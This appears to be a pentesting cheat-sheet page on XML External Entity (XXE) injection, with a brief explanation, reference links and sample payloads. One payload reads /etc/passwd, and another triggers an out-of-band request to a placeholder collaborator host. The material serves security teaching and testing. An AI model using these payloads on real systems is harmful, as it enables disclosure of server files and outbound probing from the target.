Skip to content

Latest commit

 

History

History
58 lines (40 loc) · 1.61 KB

external-entity-injection-xxe.md

File metadata and controls

58 lines (40 loc) · 1.61 KB

XML External Entity Injection (XXE)

An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.

Payloads

Basic XML Examples

<!--?xml version="1.0" ?-->
<userInfo>
 <firstName>Parz</firstName>
 <lastName>ival</lastName>
</userInfo>
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY test "THIS IS A STRING!">]
>
<methodCall><methodName>&test;</methodName></methodCall>

Read a file:

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY parzival SYSTEM "file:///etc/passwd"> ]>
<data>&parzival;</data>

{% embed url="https://github.com/payloadbox/xxe-injection-payload-list" %}

Out of Band

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "http://burp.collab.server" >]><foo>&xxe;</foo>

Introductions to XXE

{% embed url="https://www.youtube.com/watch?v=0DQnWalxYb4" %}

{% embed url="https://www.youtube.com/watch?v=Jo7qG8VcTeA" %}

{% embed url="https://www.youtube.com/watch?v=aSiIHKeN3ys" %}

References

{% embed url="https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing" %}

{% embed url="https://hackerone.com/reports/347139" %}

{% embed url="https://www.slideshare.net/ssuserf09cba/xxe-how-to-become-a-jedi" %}